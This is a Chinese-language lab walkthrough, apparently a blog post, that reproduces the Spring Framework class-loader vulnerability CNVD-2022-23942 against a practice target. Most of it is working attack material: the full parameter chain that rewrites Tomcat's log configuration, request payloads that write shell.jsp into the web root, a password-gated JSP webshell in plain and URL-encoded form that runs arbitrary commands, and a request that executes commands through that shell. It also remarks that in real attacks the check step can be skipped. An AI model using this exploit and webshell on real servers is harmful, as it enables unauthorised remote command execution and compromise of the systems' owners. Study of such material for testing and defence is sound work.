CNVD-2022-23942
一、影响范围:
1. jdk9+
2. Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
二、原理:利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell;完整利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)
三、复现过程
开启靶场
访问靶场并抓包
构造payload //此payload为了方便理解加了换行,使用中需要将“&”后的空格删除
?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送payload:
GET方式发送(可分五次请求,也可单次请求),出现ok说明执行成功
发送完payload后,访问访问http://123.58.224.8:15494/shell.jsp,界面出现spring说明写入成功;
下一步需要做的就是将内容更改为webshell,并让它解析就可以了
写入webshell到网站根目录
webshell代码:
url编码前的webshell:
%{c}i if("d".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{e}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{f}i
url编码后的webshell:
%25%7Bc%7Di%20if(%22d%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Be%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bf%7Di
f:%>//
e:Runtime
c:<%
这里的webshell也是照葫芦画瓢借鉴的别人写的,不过在这位师傅视频的第17分钟左右讲解到对webshell的分析https://www.bilibili.com/video/BV19u411y7iA,路过的师傅有更好理解原理的可以留言在评论区~,我们一同学习~
返回ok表明webshell已经写入服务器,
访问并获取flag
http://123.58.224.8:15494/shell.jsp?pwd=d&cmd=ls%20/tmp
除此之外,还可以试着执行其他任意命令,如whoami
pingDNS
实战可省去验证步骤,直接写入webshell
总结:通过该漏洞可写入webshell造成命令执行。
如果可以帮助到你,劳烦点点赞哦!
声明: 本文章仅供学习使用,不得用于未授权的渗透测试,禁止用于非法用途。